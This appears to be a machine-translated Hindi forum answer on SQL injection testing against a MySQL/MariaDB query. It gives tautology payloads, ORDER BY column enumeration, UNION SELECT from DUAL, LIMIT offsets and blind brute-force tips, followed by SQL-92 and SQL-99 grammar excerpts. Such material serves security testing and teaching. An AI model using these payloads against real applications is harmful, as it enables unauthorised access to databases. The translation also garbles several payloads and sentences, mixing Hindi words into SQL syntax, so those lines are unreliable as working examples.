ठीक है फिर कुछ मजा करते हैं।
जब मैं त्रुटि संदेश देखता हूं
मुझे लगता है कि आवेदन में क्वेरी और कोड कमोबेश इस छद्म रूप की तरह है, @o
वास्तव में एक MySQL उपयोगकर्ता चर है..
SELECT
*
FROM
DUMMY_TABLE
WHERE
DUMMY_TABLE.o = '",@o,"'
LIMIT 10
मैं SQL fiddle space का उपयोग करूंगा SQL इंजेक्शन परीक्षण का अनुकरण करने के लिए और अन्य तालिकाओं तक संभावित पहुंच प्राप्त करने के लिए।
आप अपने इंजेक्शन का परीक्षण 1' OR 1 =1#
. से कर सकते हैं या 1' या 1 =1--
जब आप 1
. का उपयोग करते हैं तो दोनों को काम करना चाहिए और आपको एक ही परिणाम देना चाहिए इनपुट के रूप में। ऐसा इसलिए है क्योंकि मारियाडीबी स्वचालित अन्य डेटाबेस के लिए प्रकार कास्टिंग कर रहा है, आपको अधिक सख्त संस्करण 1' या '1' ='1#
का उपयोग करने की आवश्यकता हो सकती है।
जो उत्पन्न करना चाहिए
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1#' LIMIT 10
या
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' OR 1 = 1--' LIMIT 10
फिर क्योंकि आपको एप्लिकेशन में त्रुटियां दिखाई देती हैं, आप ORDER BY 1
. का उपयोग कर सकते हैं यह जाँचने के लिए कि कितने कॉलम चुने गए हैं और जब तक आपको कोई त्रुटि न मिले तब तक संख्या बढ़ाएँ।
त्रुटि:ER_BAD_FIELD_ERROR:'ऑर्डर क्लॉज' में अज्ञात कॉलम '2'
के साथ इंजेक्ट करें
1' 1# द्वारा ऑर्डर करें
या 1' 1-- द्वारा आदेश दें>
जिसका अर्थ है परिणामसेट में पहले कॉलम पर क्रमबद्ध करें नहीं सॉर्ट 1
शाब्दिक।
उत्पन्न करता है
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1#' LIMIT 10
या
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' ORDER BY 1--' LIMIT 10
जब आप कॉलम जानते हैं तो आप UNION
. का उपयोग कर सकते हैं अन्य तालिकाओं में जाने के लिए। नल
का प्रयोग करें यदि आपको सभी कॉलम की आवश्यकता नहीं है।
इंजेक्शन
1' UNION सभी DUAL# से पूर्ण चुनें
ध्यान दें कि DUAL
मारियाडीबी, माईएसक्यूएल और ओरेकल में एक "आभासी" गैर-मौजूदा तालिका है, यदि आप इस "तालिका" से पूछ सकते हैं तो इसका मतलब है कि आप तकनीकी रूप से अन्य तालिकाओं में भी जा सकते हैं।
उत्पन्न एसक्यूएल
SELECT * FROM DUMMY_TABLE WHERE DUMMY_TABLE.o = '1' UNION ALL SELECT NULL FROM DUAL#' LIMIT 10
और यदि वेबपेज को "विवरण" पृष्ठ के रूप में डिज़ाइन किया गया है जहां एक रिकॉर्ड हमेशा दिखाई देता है तो आपको LIMIT 1, 1
जोड़ने की आवश्यकता है आपके इंजेक्शन में।
क्या होगा यदि वेबएप्लिकेशन में कोई त्रुटि दिखाई नहीं दे रही है, तो आपको अंधा SQL इंजेक्शन के साथ नेत्रहीन रूप से ब्रूटफोर्स geuss करने में सक्षम होना चाहिए और देखें कि एप्लिकेशन कैसे काम करता है। ?o=0
. जैसी चीज़ें भी आज़माएं , ?o=NULL
या बहुत अधिक संख्या जैसे अधिकतम INT मान (हस्ताक्षरित) ?o=2147483647
या (अहस्ताक्षरित) ?o=4294967295
उपयोग किए गए कॉलम नंबर को ब्रूटफोर्स करने का प्रयास करने से पहले ताकि आप जान सकें कि एप्लिकेशन कैसे रिकॉर्ड्स को संभालता है जो नहीं मिल सकता है। क्योंकि आईडी 0
होने की संभावना बहुत कम है या किसी INT
. पर उच्च संख्या डेटाटाइप, क्योंकि अंतिम नंबर दिए जाने पर एप्लिकेशन काम करना बंद कर देगा। यदि आपको अभी भी उन उच्च संख्याओं के साथ एक रिकॉर्ड मिलता है, तो BIGINT
के लिए अधिकतम मानों का उपयोग करें। इसके बजाय डेटाटाइप।
कॉलम 1 के लिए समान परिणाम आईडी o=1
1' DUAL ALL SELECT 1 से DUAL LIMIT 1, 1#
कॉलम 2 के लिए जो त्रुटि होगी लेकिन अधिकतर संभावना है कि आपको एक त्रुटि पृष्ठ या एक संदेश दिखाई देगा कि रिकॉर्ड नहीं मिला था।
या एक मीठी HTTP 404 (नहीं मिली) त्रुटि स्थिति। 1' DUAL ALL SELECT 1 से DUAL LIMIT 1, 1#
LIMIT
. का उपयोग करते समय आपको एक समस्या हो सकती है इसके द्वारा ऑर्डर करें
. का उपयोग किए बिना एक ही रिकॉर्ड प्राप्त करने का मौका हो सकता है क्योंकि SQL मानक ने परिभाषित किया है कि SQL टेबल/परिणाम क्रमहीन हैं इसके द्वारा ऑर्डर करें
. का उपयोग किए बिना
तो आपको आदर्श रूप से ORDER BY 1
. का उपयोग करते रहने की आवश्यकता है पाशविक बलों में।
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC#
और
1' UNION ALL SELECT 1 FROM DUAL ORDER BY 1 DESC LIMIT 1, 1#
डेटाबेस ORDER BY 1
. के लिए समर्थन करते हैं बेहतर है तो मैं पहले सोच रहा था क्योंकि यह MySQL, MariaDB, SQL Server (MSSQL) और PostgreSQL में काम करता है।
साथ ही 1 द्वारा ऑर्डर करें
एक SQL 92 सुविधा थी जिसे SQL 99 में हटा दिया गया था।
तो वास्तव में SQL डेटाबेस को ORDER BY 1
निष्पादित नहीं करना चाहिए अनिमोर अगर वे इस बिंदु पर SQL मानकों का पालन करेंगे।
एसक्यूएल 92 बीएनएफ
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
| <unsigned integer> # <- here it is
<ordering specification> ::= ASC | DESC
बनाम SQL 1999 BNF
<sort specification list> ::=
<sort specification> [ { <comma> <sort specification> }... ]
<sort specification> ::=
<sort key> [ <collate clause > ] [ <ordering specification> ]
<sort key> ::=
<column name>
# <- missing
<ordering specification> ::= ASC | DESC